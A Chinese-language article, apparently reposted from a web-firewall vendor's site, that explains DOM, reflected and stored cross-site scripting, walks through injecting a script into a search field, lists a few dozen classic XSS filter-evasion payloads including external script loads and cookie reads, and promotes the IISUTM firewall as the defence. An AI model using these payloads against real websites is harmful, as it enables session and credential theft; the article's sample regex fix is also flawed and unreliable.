原文：www.iisutm.com
網(wǎng)站要怎么防范常見的XSS跨站式腳本攻擊呢，我們先從XSS跨站式腳本攻擊的原理來說起。
網(wǎng)站遭受XSS跨站式腳本攻擊的基本原理
1.本地利用漏洞，這種漏洞存在于頁面中客戶端腳本自身。
其攻擊過程如下所示：
A給B發(fā)送一個惡意構(gòu)造了Web的URL。
B點擊并查看了這個URL。
惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面并將其安裝在B電腦上。
具有漏洞的HTML頁面包含了在B電腦本地域執(zhí)行的JavaScript。
A的惡意腳本可以在B的電腦上執(zhí)行B所持有的權(quán)限下的命令。
2反射式漏洞，這種漏洞和本地利用漏洞有些類似，不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數(shù)據(jù)時，如果未經(jīng)驗證的用戶數(shù)據(jù)被包含在頁面中而未經(jīng)HTML實體編碼，客戶端代碼便能夠注入到動態(tài)頁面中。
其攻擊過程如下：
A經(jīng)常瀏覽某個網(wǎng)站，此網(wǎng)站為B所擁有。B的站點運行A使用用戶名/密碼進行登錄，并存儲敏感信息（比如銀行帳戶信息）。
C發(fā)現(xiàn)B的站點包含反射性的XSS漏洞。
C編寫一個利用漏洞的URL，并將其冒充為來自B的郵件發(fā)送給A。
A在登錄到B的站點后，瀏覽C提供的URL。
嵌入到URL中的惡意腳本在A的瀏覽器中執(zhí)行，就像它直接來自B的服務(wù)器一樣。此腳本盜竊敏感信息（授權(quán)、信用卡、帳號信息等）然后在A完全不知情的情況下將這些信息發(fā)送到C的Web站點。
3存儲式漏洞，該類型是應(yīng)用 為廣泛而且有可能影響到Web服務(wù)器自身安全的漏洞，駭客將攻擊腳本上傳到Web服務(wù)器上，使得所有訪問該頁面的用戶都面臨信息泄漏的可能，其中也包括了Web服務(wù)器的管理員。
其攻擊過程如下：
B擁有一個Web站點，該站點允許用戶發(fā)布信息/瀏覽已發(fā)布的信息。
C注意到B的站點具有存儲式的XXS漏洞。
C發(fā)布一個熱點信息，吸引其它用戶紛紛閱讀。
B或者是任何的其他人如A瀏覽該信息，其會話cookies或者其它信息將被C盜走。
類型A直接威脅用戶個體，而類型B和存儲式漏洞所威脅的對象都是企業(yè)級Web應(yīng)用。
網(wǎng)站遭受XSS跨站式腳本攻擊的基本方式
1. DOM-based cross-site scripting
頁面本身包含一些DOM對象的操作，如果未對輸入的參數(shù)進行處理，可能會導(dǎo)致執(zhí)行惡意腳本。如下面一些DOM操作：
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
舉個例子，假如某個脆弱的頁面的代碼如下：
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻擊者使用如下的URL訪問時，則非常危險：
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
試了一下，貌似IE、FireFox等瀏覽器默認(rèn) 對<script>alert(document.cookie)</script>進行了編碼，阻止了腳本的執(zhí)行。但是對于 DOM操作還是要更加謹(jǐn)慎啊，比如把上面的頁面修改一下，安全性就增強了不少：
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被稱為None-Persistent cross-site scripting，即，非持久化的XSS攻擊，是我們通常所說的，也是 常用，使用 廣的一種方式。它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL，當(dāng) URL地址被打開時，特有的惡意代碼參數(shù)被HTML解析、執(zhí)行。它的特點是非持久化，必須用戶點擊帶有特定參數(shù)的鏈接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻擊，指的是惡意腳本代碼被存儲進被攻擊的數(shù)據(jù)庫，當(dāng)其他用戶正常瀏覽網(wǎng)頁時，站點從數(shù)據(jù)庫中讀取了非法用戶存入非法數(shù)據(jù)，惡意腳本代碼被執(zhí)行。這種攻擊類型通常在留言板等地方出現(xiàn)。
實施方式
我們來試一把Reflected cross-site scripting。當(dāng)我們在某網(wǎng)站輸入?yún)?shù)XXX，發(fā)現(xiàn)參數(shù)XXX原樣的出現(xiàn)在了頁面源碼中：
<input type="text" class="Seach" name="w" value="XXX" />
OK，可以開始做文章了，我們將XXX替換為：abc"/><script>alert('haha')</script><a href="，返回的HTML代碼如下：
<input type="text" class="Seach" name="w" value="abc"/>
<script>alert('haha')</script><!--" />
這樣，<script>alert('haha')</script>被執(zhí)行了。這里再舉例一些XSS攻擊行為：
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get"
b="URL("""
c="javascript:"
d="alert('XSS');"")"
eval(a+b+c+d);
總結(jié)一下，要防止XSS跨站式腳本攻擊主要是要在查詢字符串(QueryString)，表單數(shù)據(jù)（PostData）以及Cookie甚至HTTP報頭（Header）中防止掉一些javascript關(guān)鍵字和一些敏感的字符（單引號，分號）以及SQL語言的關(guān)鍵字，以及防止他們使用encode編碼。
用ASP或者PHP腳本來實現(xiàn)上面的這些想起來就很麻煩。下面就來介紹下用一個第三方工具IISUTM來處理上面我們說到的問題。
準(zhǔn)備工作：先去www.iisutm.com下載 新的IISUTM版本。
根據(jù)IISUTM網(wǎng)站防火墻安裝及操作手冊 中的說明把IISUTM部署到你的服務(wù)器上來，這里需要注意的是使用Windows 2003+iis6的服務(wù)器，需要開啟iis中“以IIS5.0 隔離模式運行 www 服務(wù)選項才能正常使用該軟件。
安裝完成，通過瀏覽器訪問IISUTM的配置管理界面默認(rèn)的是http://127.0.0.1:8362，這個是私有地址，只能在該服務(wù)器上訪問，你需要任何地方都能訪問的話，可以在安裝的時候IP地址的選項那里填入你服務(wù)器的公網(wǎng)IP地址，和你所開放的端口。這樣你就可以通過你配置的地址進行訪問，或者你可以在iis中直接管理名為IISUTM的站點。
登陸管理界面后點擊上面導(dǎo)航欄中的“基本設(shè)置，然后點擊左邊菜單的“防XSS攻擊鏈接。
開啟該鏈接里所有的選項，選中之后IISUTM會自動保存配置，下面的“使用不允許的發(fā)送序列是該軟件提供的XSS攻擊關(guān)鍵字的特征庫，你可以根據(jù)你網(wǎng)站的情況進行更改（ 好不要修改）。
確認(rèn)以上的配置以后，你可以返回到IISUTM管理界面的首頁，這里會列出 近服務(wù)器遭受到的攻擊以及詳細(xì)，趕緊去看看你的網(wǎng)站是不是隨時有人在進行SQL注入吧，以及哪些攻擊被IISUTM處理掉了。
標(biāo)簽：
掃碼加我微信
